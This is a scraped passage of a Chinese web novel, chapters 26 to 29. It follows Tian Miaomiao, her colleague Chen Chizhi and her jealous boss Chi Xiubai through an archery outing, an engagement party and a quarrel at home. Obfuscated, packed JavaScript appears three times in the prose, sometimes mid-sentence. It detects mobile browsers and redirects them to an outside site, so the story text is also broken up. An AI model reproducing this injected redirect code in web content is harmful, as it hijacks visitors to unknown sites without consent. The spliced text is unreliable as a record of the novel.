“在装糊涂吗?”陈驰之注视她的背影,轻轻地开口:“蛮可爱的。” 他想,现在装傻也无所谓,他是个有耐心的人,总有一天你会面对的。 陈驰之不是那种什么都憋着不说不表达,只一味傻傻付出的人,他会适时地表露出自己的好感,虽不直接表白但绝对能让对方体会到自己的心思。 田妙妙吃了不少辣锅,胃里是有些不舒服,不过不至于蹲厕所,只是找个由头躲开。 估摸着差不多了,田妙妙洗了洗手,走出卫生间。 陈驰之就在卫生间外的长凳处等着她出来。 “好点了吗?”陈驰之关心道,刚才说的话仿佛完全没有发生过。 田妙妙点头:“嗯,没事了。” “你要是不想去看电影的话,我们去射箭馆玩吧?”陈驰之说:“在五楼,美团上有体验套餐,要不去试试?” 已经拒绝过看电影,就不好再拒绝射箭,这样会显得她完全不给对方面子。 田妙妙点头:“好,那这次我来买套餐吧。” 陈驰之:“好,那麻烦你了。” 田妙妙在手机上团购了两份一小时体验套餐,对方请她吃饭,她还一场娱乐活动,就当扯平了。 两人进入五楼的射箭馆。 工作人员给他们提供了相应的护具。 田妙妙看着从没见过的各种护具,有些犯难地看向陈驰之。 陈驰之一边跟她讲解,一边帮她穿戴。 “这个是护臂,这个事护胸,这个小的是护指,要这样拿。” 他们离的很近,田妙妙没有穿戴过,也不好拒绝陈驰之的帮忙,好在他的举动比较绅士,很正常地帮她穿戴上护具,没有其他的暗示举动。 * 射箭馆隔壁,是桌球俱乐部。 池修白、江弘深和裴文山三人正在陪合作商领导打球,玩了几局黑8后,发行商张总表示中式台球没难度,要上斯诺克。 江弘深和裴文山没打过几把斯诺克,池修白倒是涉猎颇深,陪张总继续打。 陪人打球,对于池修白而言,最难的就是怎么不经意间的输掉,还能让对方察觉不出来是自己主动让球的。 江弘深在休息区玩手机,裴文山在一旁看池修白打球。 等一局结束,张总“险胜”,池修白夸了句“张总好水平。” 张总满意地笑笑,故作谦逊:“好久没遇见你这样的高水平的对手了,有意思,再来再来。” 裴文山看出池修白已经有点不耐烦了:“要不先歇会,张总咱们先聊两句。” 池修白点了下头:“我去趟洗手间,失陪一下。” 刚走两步,江弘深朝他招手,示意他看外面。 池修白抬眼望去,见田妙妙和陈驰之结伴进入射箭馆。 池修白心中冷笑,原来她口中的有约,是和陈驰之啊,还精心化了妆,真够用心的。 他不动声色地继续盯着,企图看出两人当前的关系进展。两年轻人凑在一起穿戴护具,基本的社交距离被打破,再加上一点错位,看起来两人的额头已经碰在一起。 真的碍眼。 江弘深笑得一脸荡漾,说话直戳池修白心窝子:“啧啧啧,咱工作室这是有情况啊。” 池修白翻了他一眼,不爽道:“能有什么情况?”这两人还能偷偷摸摸就成了?有他在,田妙妙能这么快转移目标? “年轻人的进展那可说不准哦,你瞧瞧,现在帮忙穿戴护具,都要贴一块了,等会估计要手把手指导射箭了。”江弘深继续出言刺激老板。 池修白把球杆往江弘深手里一送,“下局你去陪姓张的打。”说完,他黑着脸不声不响地出了桌球俱乐部。 池修白走到射箭馆门前的那一刻,忽然觉得自己脑抽了,他现在什么身份,就跑过来兴师问罪,不知道的还以为他吃醋吃到昏头了呢。 刚想走,门口迎客的工作人员上前,恭敬地迎他进门。 这下想走也走不了,池修白不再纠结,踏入馆中。 “请问您有预约教练吗?”工作人员问。 池修白摆摆手,朝田妙妙方位示意了下:“我过来找人的,帮我在他俩旁边开个弓位。” “好的,请稍等。”工作人员给他取来弓箭和护具。 池修白拿着弓箭和箭筒走过去。 田妙妙看见池修白时,活像见了鬼一样,他不是说今天有事吗,不是说还要去参加宴会吗,怎么突然刷新在这里,如果生活也是一场游戏,此刻游戏加载时一定出现了重大bug!——BOSS地图加载错误! 她心虚且尴尬地打招呼:“老板好。” 正专心拉弓的陈驰之听到后,闻声往这边一瞧,看见池修白的身影,欣喜道:“老板好,您也喜欢射箭?” “还行。”池修白没有戴护臂和护胸,只使用护指,他娴熟地调试完弓箭,抽出一支羽箭,冲陈驰之微扬下巴,“比比?” “好啊。”陈驰之欣然接受,他大学时期参加过一年的射箭社团,跟着同学和老师一起练过,水平自认还不错。 池修白拉弓的样子很潇洒,一只眼睛睁着,一只眼睛微闭,眼神锐利得像丛林中潜伏捕食的猛兽。 田妙妙刚才拉过弓,现在手臂还酸麻着,反观池修白拉起弓来,似乎毫不费力,要不是手臂绷起的肌肉,她差点以为他手中的弓比她的省力呢。 一箭射出,空气被撕裂的声音迸发开,与心房的震颤完美共鸣。 下一秒,这支箭稳稳地正中红心。 田妙妙惊得目瞪口呆,这箭简直跟长了眼睛似的,不偏不倚,牢牢扎在箭靶中央。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098620|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈驰之激动赞声:“白神牛啊!” “到你了。”池修白催促。 田妙妙心道,您老这是专门跑来砸场子的吗?这么咄咄逼人,她真为陈驰之捏把汗。 陈驰之不免紧张起来,他架好箭矢,开始拉弓。 田妙妙出言鼓励:“加油。” 陈驰之勾了下唇角。 池修白脸刷拉一下黑了下来,田妙妙像是有心电感应似的,完全不敢回头看池修白的表情。 陈驰之松手,箭矢飞出,完美中靶,可惜离红心还有一公分的距离。 “不错哇。”田妙妙夸了句,这是目前陈驰之射得最准的一次。 陈驰之摇摇头:“离白神差远了。” “是呢,要不让老板教我们吧。”田妙妙提议,她不想看两人这么比下去,池修白气势汹汹剑拔弩张,而陈驰之仓促应战疲于应对,实在有点不忍直视,陈驰之那么崇拜池修白,要是被偶像狠狠打击了,应该很难过吧。 她想化解这场来者不善的比试。 “怎么样啊boss,一起玩吧?”田妙妙朝池修白忽闪忽闪地眨眼睛,她拿着弓凑过去,奴颜婢膝地问:“我一直射不到箭靶上,好奇怪啊,明明瞄准的呀。” 池修白快速扫视两人,初步判断出两人应该没有越雷池,不然田妙妙不可能当着陈驰之的面让他指导她的。 他莫名升起的敌意快速散去,把手中的弓箭放在一边,耐心帮田妙妙抠执箭拉弓的动作。 好不容易把动作纠规范之后,田妙妙两条细胳膊已经开始抖个不停,她急忙问:“可以了吗,要撑不住了。” “可以了,松手吧。”池修白发号施令。 田妙妙照做,箭矢飞出,她放下弓箭拍手臂缓解酸痛感,一抬眼,发觉箭矢竟命中了箭靶,虽是外环,但没脱靶,田妙妙已经心满意足了。 “中了,中了。”她双手握拳给自己打气:“yes!” “厉害,厉害。”陈驰之捧场。 池修白笑她:“出息。” 倏忽间,他的手机响了,是裴文山的电话,接通后,对面倒豆子似输出:“老大你去哪了?张总刚才终于松口,我们提出的条件还能接着谈,你赶紧过来吧,我一转眼你人都没了。” “行,你稳住,我马上过去。” 池修白挂了电话,冲两人说:“有急事,我先走了。” “好的。”田妙妙点头,心中那叫一个莫名其妙,这人突然出现,又突然离开,像游戏脚本检索到bug,自动修复了一样。 池修白去前台结账,顺手帮那两人结账时,工作人员说他们是验券的,池修白多余的钱没花出去。 “白神刚才怎么过来了?”陈驰之还在状况之外。 田妙妙耸了下肩:“谁知道呢,别管他了,我们继续玩。”她好不容易get到正确姿势,刚有收获,想趁热打铁,多中几箭。 陈驰之还在回忆池修白刚才那一箭,咂摸道:“真帅啊。” 田妙妙简直无语,池修白就是冲着他来的,他居然一点没察觉到,还赞美对方的英姿。 转念一想,陈驰之不觉得池修白对他有敌意,应该是完全没有把池修白和田妙妙联系起来,也是,一般人也不会觉得差距这么大的两个人能有什么可能性,这多少有点惊悚了。 田妙妙心中有一点点失落。她化悲愤为力量,一口气将箭筒里还剩下的十几支箭全射出去,瞎猫碰上死耗子,中了三支。 她拍了张照片,发给池修白得瑟:看,又中了,我真厉害。 片刻后,对面回:那是老师教的好。 田妙妙在思考怎么回复的时候,对面又发来一条:叫声池老师听听。 田妙妙臊了个大红脸,怎么感觉他在大庭广众之下玩师生play。 田妙妙赶紧把手机揣兜里,给脸扇扇风降温。 陈驰之凑过来:“跟谁聊天呢,一直在笑。” “没,刚刷到一个搞笑视频。”田妙妙搪塞过去。 “分享给我看看。” 田妙妙:“已经刷过去了,没保存。” 一个小时很快结束,两人离开的时候,热情的工作人员一直推荐他们办卡,给他们介绍当前的优惠套餐。 陈驰之低头问她的意见:“要不要常来玩,感觉你挺喜欢的。” 田妙妙直摇头,她才不想培养这种费钱的兴趣爱好呢,“不喜欢,我还是更喜欢宅家里打游戏。” 陈驰之有些失望:“早知道直接约你开黑了。” 离开射箭馆,两人在其他楼层闲逛,田妙妙突然问:“你们男生喜欢什么礼物啊?” 27. 第27章 田妙妙问出这个问题后,陈驰之一愣,先是喜不自胜,该不会是要送他的吧? 过了一会,头脑冷静下来后,他开始提心吊胆。 他其实还没有自信到对号入座,觉得礼物一定是给自己的。 他心情忐忑地问:“你是要给谁送礼物啊?小男生吗,还是说成年男人?” “成年了,比我们要成熟一些。”田妙妙如实回答。 陈驰之垂下的手慢慢握成拳头,面上一切如常,“谁啊,我认识吗?” 田妙妙不敢透露,欺瞒道:“你不认识,那人妈妈和我妈妈以前认识,这段时间帮过我。” “之前没听你提起过,你在S市还有熟人呢。”陈驰之内心升腾起一股巨大的不安全感,他以为田妙妙在S市举目无亲,只和他以及问天工作室其他同事相熟。 田妙妙没有解释,简单地应了声:“以前我也不知道还有这层关系。” “送礼物主要讲究投其所好,你得先知道他喜欢什么。”陈驰之试探性地回答,想推敲两人的相熟程度。 田妙妙面露难色,“他喜欢什么?这个我也不太确定哎。”她对池修白了解甚少,哪怕同住一个屋檐下,也没发现他有什么特别的爱好,喜欢吃她做的饭? 陈驰之稍稍松了一口气:“要是不知道对方喜欢什么,可以关注一下他的工作方向,看看有没有什么平时能用上的,男生还是比较喜欢实用性强的礼物。” 田妙妙点头:“好的,平时能用的上的,游戏外设?他也打游戏,还蛮厉害的。” “送数码产品的话,选择性就挺多的,显卡,键鼠,或者电竞椅都行。” “好的,我回去搜一下。”田妙妙点头。 “买之前别忘了领国补。”陈驰之提醒她。 “省钱这种事,我当然不会忘啦,包括到货之后写好评返现,我都不会错过的。”不仅如此,每次网购前,她必定各平台比价,力争不多花一分冤枉钱。 陈驰之轻声叹了口气:“好羡慕那个人哦,可以收到你的礼物。” 这话听起来颇有索要礼物的嫌疑,陈驰之说完觉得不妥,找补了一句:“我不是那个意思,就是男生之间会超级羡慕收到女生的礼物。” 田妙妙往四周看了眼,正好看见买冰糖葫芦的小摊,她快步过去要了两支草莓糖葫芦,分了一支给陈驰之:“喏,这个送给你,多谢你当我的参谋。” 陈驰之接过糖葫芦,打趣起来:“哇,看来我收到礼物的时间比那人要早哦,心理平衡了。” 田妙妙哭笑不得,这个陈驰之真把对方当假想敌,不过这样也好,说不定他会知难而退、移情别恋,自己也不用苦恼到时候怎么婉拒他了。 但她错估了男人的天性,只要不是必败结局,男人只会被竞争对手激发斗志,越挫越勇。 陈驰之同样如此。 两人告别之后,田妙妙回到住处,那两只公仔推脱不掉,只能顺便带回来,放在沙发上,黑灰色的沙发添了两抹亮色。 她打开手机刷淘宝,礼物越看越贵,那种性价比高的,估计池修白也看不上眼吧。 而且能入他眼的,又远超她预算了。 她放弃了,改刷朋友圈,看见陈驰之把那根草莓糖葫芦晒出来了。 当前是秋季,S市气温蛮高的,糖葫芦表层的糖浆轻微融化,看起来不太美观。 可陈驰之还是没舍得吃,还专门发了条朋友圈显摆,“谢谢投喂[爱心][爱心][爱心]” 一连三个爱心,给田妙妙都看得不好意思了。 点了个赞,在下方回复:赶紧吃吧,再不吃都化了。 陈驰之回了张图片,是一根孤零零的签字。 陈驰之:已经吃完了,酸酸甜甜,跟你一样。 田妙妙:拒绝搞土味[抠鼻] 陈驰之:收到[狗头] 田妙妙不跟他继续聊天。 过了一会,池修白居然把陈驰之的朋友圈截图发给田妙妙,下方有她的留言和点赞。 池修白:你买的? 田妙妙:……嗯。 她有点心虚,不就是一根糖葫芦,这也没什么吧。 池修白:你这么一毛不拔的人居然给他送东西?难怪人激动得发了好几个心。 这酸溜溜的话听着那叫一个尖酸刻薄,田妙妙不高兴了。 田妙妙:呵,我本来打算给你送礼物的,既然你说我一毛不拔,那礼物我就不送了。 池修白:什么礼物?唬弄人的吧? 田妙妙:随你怎么想,反正现在没有了。 池修白赌气:我不需要。 田妙妙:那正好! 池修白将手机放回口袋,最后几杆球打得又急又凶,吓了对面发行商张总一跳。 裴文山拍了下池修白的后背,提醒他别忘了现在是在陪合作方打球,别把人给得罪了。 张总问道:“池总这是怎么了,看完手机就不太对劲啊。” 池修白正漫不经心地用巧克粉磨擦球杆头,不咸不淡地说:“刚有个员工犯错,还敢跟我顶嘴。” 张总感同身受,数落起来:“现在的年轻人越来越没分寸了,之前还扬言说要整顿职场,真是分不清大小王,下次犯错一定要狠狠惩治,起到杀鸡儆猴的作用,不然这群年轻人真摆不正自己的位置。” “是该给点教训。”池修白盯着台面上的红球,若有所思道。 送走了张总,池修白驱车前往姜星的订婚宴。 姜星只给他发了请柬,原单位其他人都没有,想必她已决定要和从前的人和事斩断联系,就是不知为什么还执着于让他到场。 除了礼金,他还准备了一份百年好合的苏绣挂画当礼物,前段时间正巧看见朋友圈有人发定制作品,顺道买下。 池修白人虽出席,却并没打算留下参与晚宴,奈何中途遇见一位互联网新贵,手头有不少宣发渠道,是个不错的结识对象。 池修白如今自己开工作室,需要自行结交的人和事太多了,他虽然没那么擅长,但还是得压制自己的性格去做。 他主动去打招呼,好在对方也认识他,同样有结交的意思,两人客套几句后加上微信,对方喜欢网球,池修白便与他改日再约打网球。 他正要走的时候,看见了一道他不想见的身影,胡宏逸,曾经一同建立光希的大学室友,随着光希被收购,现已分道扬镳。 姜星居然把胡宏逸也叫来了。 池修白冷笑一声,真够没意思的。 胡宏逸同样看见了池修白,停下和对面人员的交谈。 光希被收购后,虽然没有拿出新作品,但胡宏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不觉得你有时候很招人恨?所以兄弟、女人都逐渐离开你。” “我不觉得你是我兄弟,我也不觉得姜星是我女人。”池修白说:“不是一路人,离开是正常的。” 胡宏逸朝他身后举了下杯,池修白转头,是一脸苍白的姜星。 刚才的话她应该都听到了,池修白不为自己辩解什么,他道:“你今天很美,祝以后幸福。” 姜星眼里泛着星星点点的泪光:“原来我终究连个名分都没有。” 池修白:“你一向都做正确的选择,包括及时止损。” “是我不想做有你的选择吗?”姜星哽咽:“是你不允许。” “别在订婚宴为另一个男人落泪,这不值当。”池修白抬腕看了眼时间:“我有事先走了。” 姜星整理好情绪,嘴角扬起一个凉薄的笑意。 “池修白,你一辈子都得不到真正的爱。”因为你根本就是一个不会爱人的怪物。 池修白脚步停顿,紧接着抬步继续朝出口走,一下也没有回头。 什么是真正的爱?他没见过,也想象不出,别说情人或者朋友,即便是他父母,对他的爱也有条件的,永远低于他的哥哥。 他想,自己不需要爱也能活。 28. 第 28 章 前一小时信誓旦旦,笃定自己不需要爱也能活,后一小时回到大平层,看见沙发上的两只格格不入的玩偶,池修白气得胸腔内翻江倒海。 怎么能这么碍眼。他仿佛看见了田妙妙和陈驰之两人凑在一起抓娃娃的场景,举止亲昵,笑语连连,不亚于在射箭馆帮忙穿戴护具。 池修白当才在宴会上对峙讨厌的前合伙人,气还没消完,就被两只玩偶再度激怒了。 田妙妙刚洗完澡,穿着图案幼稚、款式保守的棉布睡裙从房间里出来接水。 看见池修白后,田妙妙打了个激灵,刚转身打算回房间换衣服,被池修白叫住了。 “这两个恶心的东西是什么?为什么不声不响地往家里拿?真当我这里是垃圾回收站?” 他语气不善,语速也比平时快,机关枪似的噼里啪啦,听起来咄咄逼人,有种要把她和玩偶一起打包丢出去的意味。 田妙妙看着沙发上无辜躺枪的玩偶,不明白池修白干嘛发这么大的脾气。 她把玩偶拿起来,往身后藏,小声道歉:“不好意思,我这就拿回房间,刚才不小心忘记收起来了。” “不行!”池修白语气冷硬:“跟陈驰之一起去抓的?就这么宝贝?” 田妙妙无语至极,说实在的,她不怎么喜欢这两只玩偶公仔,只是她不带回来的话,陈驰之就打算把这两个小东西丢掉。田妙妙向来节俭,看不得全新之物被丢弃掉,太浪费了,她只能把两只玩偶带回来。 却没想到两只丑萌的小玩偶莫名惹到池修白了。 总感觉他好像在借题发挥。该不会是对她有意见吧? “跟陈驰之有什么关系?”田妙妙火上浇油:“就是两个玩偶而已。” “丑得我眼睛疼。” “哪有很丑,挺萌的啊。”虽然和玩偶店单独售卖的娃娃相比,没那么可爱精致,但肯定不丑,田妙妙本来对这两个娃娃很无感,被池修白这么一激,她对它们多出几分怜爱,反倒是越看越顺眼了。 “你的审美水平实在堪忧,要是你以后真参与游戏开发,我都不敢想,你会提交上来什么样的一坨。” “不是,你这也忒没道理了,我只是如实评价这两个玩偶不丑,只是普普通通的水平。”田妙妙小声咕哝了句:“我看你就是在恶意攻击。” “说什么呢?大点声。”池修白皮笑肉不笑地看着她,面色阴沉,冷得可怕。 田妙妙心里发怵,毕竟自己有求于人,这份工作薪资待遇远超预期,她不想因为得罪老板丢掉工作,而且她还计划着调去策划岗呢,故而口风一改:“其实仔细看看,确实挺丑的。我小时候从来没买过这种娃娃,好不容易抓到两只,就觉得还蛮可爱的,唉,我真是没有见过好东西……” 田妙妙越说越小声,话里话外都透露着自己凄惨的过去,企图通过卖惨博取资本毒蛇的同情。 池修白宛如一拳打在棉花上,他以为会迎来激烈对抗,没想到田妙妙服软了,还会卖惨示弱,也不对,她以前毕竟是真的惨,不算卖。 那低眉顺眼,轻咬下唇的样子,实在是别有一番风味。 不过,比起这副激发男人保护欲的柔弱娇花模样,他还是更欣赏她坚韧不屈,斗志昂扬的野草姿态——那才是充满生命力的样子。 “算了,没见过好东西也情有可原。”池修白把两只小玩偶抢过来,作势要往垃圾桶里丢。 田妙妙闭了下眼,就当看不见,然而人终究抵抗不了本能,她猛地睁眼,阻拦道:“能不能别扔进垃圾桶,我之前在楼下看到废旧物品回收机,上面说收集到的二手衣物和玩具会送给山区孩子,要不就把它们扔到那里,你看怎么样?” 池修白顿了下,对上她期盼的眼神,最终还是把玩偶丢到沙发上,“明天抓紧处理了,反正我是不能和它们共处一室。” “遵命!”田妙妙松了口气,早知道下午路过的时候就直接放进去了。 下一秒,就听见池修白改了主意:“不行,现在就去处理,我等不了了,看见它们就浑身刺挠。” “好。”田妙妙有气无力,白娘子这条毒蛇实在太难伺候了。 她拿起两只玩偶和手机就往门口走。 紧接着,又被叫住了。 “等一下。” 田妙妙背对着池修白狠狠翻了个白眼,她以前从来不翻白眼,怀疑近墨者黑,被池修白传染了。 她整理好表情,换了副笑颜才转过脸去:“请问还有什么吩咐?” 池修白上下打量她一眼,方才开口:“你就穿这样下楼?” 田妙妙低头看了眼自己的睡衣,这个时间段,小区里除了偶尔几个遛狗的人,也遇不到其他人,穿出去也无碍。 “这样穿怎么了?要不我戴个口罩?”田妙妙疑惑不解。 “看见我的时候,立马要回房间换衣服,结果出门反倒是大大方方了。” “唔,你不一样嘛。”田妙妙说:“我睡衣比较土,在你面前穿不太好意思,被别人看到又无所谓。”别人可不会骂她,你丑得我眼睛疼,只有池修白会无情地贬损她。 而这话落在池修白耳朵里,自动被翻译成,她面对他时很害羞,不敢让他看见私密的睡衣,而对别人完全无感,不在乎别人的看法。 他一晚上的坏心情瞬间被治愈,看来自己在她心里终究是特殊的,也对,她喜欢自己,女孩子面对喜欢的异性总归是害羞。 “行了,快去快回。”他唇角微扬。 见他面色由阴转晴,田妙妙不明所以,但也没多嘴,要不是男人不来大姨妈,她都怀疑池修白是不是得了经前综合症,情绪转变这么快。 田妙妙离开后,池修白放松地靠在沙发上,两条长腿交叠摆放,右腿搭在左腿上,右脚轻微晃动,心情愉悦地登上购物网站。 既然已经决定好好照顾田妙妙,那就得负责她的吃穿用度,还有娱乐开支,什么都得上心,她因为睡衣土气不敢被他看见,自己就该多为她准备几身。 池修白一口气下单了十几套真丝睡衣,有睡裙,也有上下装,市面上真丝睡衣款式都比较成熟,和田妙妙当前气质不搭,池修白又接着购买了十几套设计感更年轻的纯棉睡衣,给她换着穿。 由于高强度下单了三十套左右女士睡衣,购物软件给他不停地推荐同类好物。 刚开始还比较正常,就是相似款的睡衣,到了后面,冷不丁推送过来一套情趣款的。 商品界面上的模特图只露身体不露头,模特身材很丰润,和田妙妙完全不是一个类型,然而这套情趣睡衣是白粉色系清纯可爱挂的,穿在模特身上有股子艳俗感,不是很搭。 池修白手指停顿,没有直接将商品推送划拉过去,他的脑海中慢慢浮现起田妙妙穿上的样子,现在的她比刚到S市时胖了些,瘦而不柴,穿上一定好看,能发挥出这套睡衣的纯欲少女感。 睡衣价格便宜,一百左右,池修白眉头皱了下,不太想下单这么廉价的,料子肯定不好,他手指一点保存图片,去搜同款,看看 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过了会儿,池修白突然想到什么,别扭地开口:“你之前说要送我礼物,打算送什么啊?” 田妙妙微微尴尬,下午吵架的时候,他不是发话说不要了吗,怎么又开始问了。 鉴于他刚说给她买了睡衣,自己总得投桃报李,田妙妙说:“我还没想好,不知道你除了游戏以外的兴趣爱好,初步打算是游戏外设。” 池修白根本不缺设备,他自己专门组装用来打游戏的电脑动辄十来万,顶级外设更是一箩筐,各种牌子都体验过早就用腻了,市面上的新款游戏机也摆在电竞室里吃灰。 田妙妙能送的,他估计看不上眼,他心道还不如送上一个吻。 “你有没有什么特别想要的,念念不忘很多年的那种。”田妙妙咬了咬牙,要是他真有喜欢的,预算她可以再加点。 池修白腹诽,他如果想要什么,发售当天就能靠钞能力拿到,哪还有什么念念不忘的可能? 突然,回忆像一道闪电从他脑海中穿梭而过,他好像真的有一件念念不忘的东西,他得到过,却在记忆中四分五裂。 “送我一台ps2吧。” “啊?”田妙妙没反应过来,她选礼物的时候确实看到游戏机选项,“你是不是说错了,是ps5吧?” 池修白摇头:“就是ps2。” 田妙妙马上去网上搜,看见这款游戏机早在十几年前就停产了,好在二手网站上有人卖,价格在几百元不等。 田妙妙说:“买是能买到,就是买来之后可能不能正常使用了。为什么你不要最新款的呢?” “谁说我是买来用的。”池修白回道:“再说你觉得最新款机子我能没有吗?不是你问我有什么念念不忘的吗,我倒是一直忘不掉这个。” “为什么呀,是小时候想买父母不给吗?”田妙妙只能想到这个理由。 “小时候拿压岁钱买过,和我爸吵架时被摔碎了。” “哦。”原来如此,田妙妙这就放心了,看来他不是一时兴起,而是真的想要,这款游戏机对他有纪念意义,毕竟每个人都会对童年的伤痕念念不忘。 “问别人果然不如问当事人,一下子就不用愁了。”田妙妙快速拍下别人挂出来的二手ps2链接,语气很轻快。 “你问陈驰之了?”池修白轻微不爽:“你和他能有什么好交流的,根本不合适。” 29. 第 29 章 “我跟他是同龄人哎,怎么可能没有共同话题呢?”田妙妙不乐意池修白觉得自己交不上朋友,仿佛要证明自己人缘很好似的,她又补了句:“我感觉他挺喜欢我的呀。” 一听到同龄人三个字,池修白心头就跟猫抓了似的刺挠,他之前一直有意忽略,自己跟田妙妙已经有年龄差距,而那两人才是同龄人,天然更亲近一些。 “你很享受吗?” “享受什么?” “享受别人的好感,在那装无知欲拒还迎,也是,平时这种情况很少见吧,好不容易碰上一个,可不得利用起来。” “谁说的,我大学时期也有很多男生表白的好吧?”田妙妙非常不服,她不爱提这些,可在池修白面前,又忍不住搬出来给自己壮胆,仿佛这样拉近自己和他的差距。 池修白并不怀疑田妙妙这话的真假,他之前觉得田妙妙不够亮眼,那是基于他见惯了美女的基础上,田妙妙的清丽长相放大学校园里,还是挺吃香的。 “然后呢?”池修白挑眉:“毕业即分手?” “嗯,现在大家都这样。”田妙妙支吾着,搪塞过去。 其实追她的男生碰过几次壁之后,基本上就转变目标了,没有谁会一直在她身上浪费时间。 她曾经差一点脱单,当时她和老家同个城市的男生约会过几次,去的都是图书馆、博物馆这类地方,吃饭也都是在路边快餐店。 她没觉得这有什么不好,大家都是学生,没钱是正常的,而且对方还会给她推荐他之前做过的兼职,两人在一块很有共同话题。 奈何后来她从室友那听到,此男对她穷追不舍的主要原因,就是觉得她不像其他女生那样喝奶茶、做美甲,还会利用课余时间兼职,是个省钱省心的“好”姑娘。 田妙妙果断远离,不然在一起后,两人保不齐成为下一对黑马情侣。 她过得简朴,主要是现实原因的制约,不代表她想一直过那样的生活,有些苦自己一个人时可以吃,而两个人时还这样,多少有点命苦,她不能决定自己的出身,但总能决定自己的未来吧。 “纯属浪费时间。”池修白金口一开,无情地为她的大学恋爱时光下了定义。 “哦。” “什么年龄就该做什么年龄的事,大学时就该好好学习。”池修白端起一副过来人的口吻,听起来有点讨厌。 “可是,我在网上查你的资料,你大学时可没专注学业,忙着做独立游戏呢。”那个独游不仅爆了卖出几百万份,还拿了业内权威的游戏奖项。 “我那是创业。”池修白好汉不提当年勇,当年他虽忙着做游戏,学业也没落下,年年都拿奖学金,“再说了,我大学时期可没谈恋爱。”那几年忙起来的时候,一分钟恨不得掰成两分过,自然是没时间花在情情爱爱上。 “知道了。” “陈驰之是工作室接下来重点培养对象,你如果还想在留在问天发展,就不能和他发展出其他关系。”池修白正色道:“问天不允许办公室恋情的存在。” 田妙妙面露讶异:“问天的规定里没有办公室恋情这一条呀。” “新加的。” “什么时候加的?” “就现在。” 田妙妙无语,工作室果然就是池修白的一言堂,什么规章制度想改就改,关键是还不以身作则,“那你和姜星组长……” “她已经离职了,你怎么还叫她组长。” “毕竟是你把我分到她手下的嘛,哪怕就带过我一天,也算我组长。”田妙妙继续说:“我举报你带头违反纪律。” “规定是新加的,当然从现在开始生效,不翻旧账。” “好吧,你是老板,解释权在你。”田妙妙心里有一点小难过,一半是因为池修白承认和姜星是办公室恋爱,另一半则是伤感自己大概不会有姜星同款待遇。 “知道就行。”池修白忽然聊起今晚的行程:“知道今晚我去参加什么宴会了吗?” 田妙妙摇头:“行业大佬聚会?” “是姜星的订婚宴。” “哦。”田妙妙情绪低落,小声道:“怪不得你回来之后看玩偶不顺眼呢,就算前女友要嫁给别人了,你心里舍不得,那也不能对我发火啊。” 这抱怨的话听在池修白耳中,莫名熨帖,他挑眉戏谑:“吃醋了?” “我吃什么醋?”田妙妙就像只被踩中尾巴的猫,弓着身子应激起来。 “我都闻见酸味了。”池修白故意刺激她:“你胆子不小呀,连姜星的醋也吃。照照镜子,你跟她有可比性吗?” 田妙妙深受打击,倔强道:“我自然比不上姜星,但她是她、我是我,我和你又没有那种关系。” “你不想有吗?”池修白语调上扬,话里藏着小勾子,像蛊惑正派人士犯罪的男妖精。 田妙妙一脸严肃,捍卫自己的“清白”,“不想,一点也不想,我不喜欢年龄比我大三岁以上的人,感觉有代沟了。” 大六岁有两条代沟的池修白脸色瞬间拉下来,冷冷道:“我像你这个年纪时,已经财富自由了。” 田妙妙补了句:“我不喜欢优越感太强的人。” 池修白眉心中箭,他向来不是低三下四会哄人的主,姿态高傲地嗤笑:“呦,你还真是能力不大,架子不小,我还轮得到你喜欢不喜欢了?” “我可不敢。” 两人聊不上几句就吵起来,最后搞得不欢而散,田妙妙带着一肚子气回房间睡觉。 第二天一早,田妙妙不吃池修白点的早餐,甚至也不坐他的车,自己两条腿走去地铁站。 艰难挤进地铁后,田妙妙腹中饥饿、胸闷气短,早高峰的人流让她站都站不稳,踮着脚尖被挤在半空中。 这个时候心中难免后悔,要是她低头服个软,就能悠闲地在家吃早餐,顺便蹭池修白的顺风车。 田妙妙摇摇头,赶紧把这个想法从脑海中甩掉,自己不能这么依赖他,不然人格和自尊会变得越来越低。 她慌里慌张地刷卡进入写字楼,电梯门开时,里面恰好是池修白,他手里还提着早餐袋。 真是不是冤家不聚头,田妙妙进入电梯,故意站在角落,躲他跟躲病毒似的。 电梯到达楼层时,池修白靠近她,把打包好的早餐袋往她手里一塞,手插口袋快步离开电梯。 田妙妙手里陡然多出东西,她呆滞了一下,刚想开口,就只能看见池修白挺拔清俊的背影。 她张了张嘴,什么话也没说出来。道谢的话,也太别扭了。 池修白虽可恶,但食物无罪,田妙妙秉持着节约粮食的传统美德,提着早餐袋进入办公室。 她刚放下包,把早餐打开,孙正阳闻着味就过来了。 “好饿,昨晚熬夜,今早起晚了,没来得及吃早饭。”孙正阳眼巴巴看着,田妙妙大方地分了几个虾饺过去。 孙正阳一口一个虾饺,满足道:“味道真不错,在哪买的?” 孙正阳说着就去翻打包盒,打包盒上印着酒店logo,孙正阳呦呵一声,面露惊诧:“这家酒店很贵的,你居然在那订早餐吗,这可不便宜吧?” 田妙妙顿时慌了,赶紧编个蹩脚的借口:“这不刚发工资嘛,就去住了一晚酒店奢侈一把,早上顺便打包了早餐。” “啧啧啧,你们新人可真会享受,不过酒店确实住着比出租屋爽多了。”孙正阳是个粗神经人士,对田妙妙的说法不疑有他,被她顺利糊弄过去。 待孙正阳回工位后,田妙妙赶紧解决完剩下的早餐,把包装袋和打包盒收拾起来,扔到办公室外面的垃圾桶里,省得被其他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 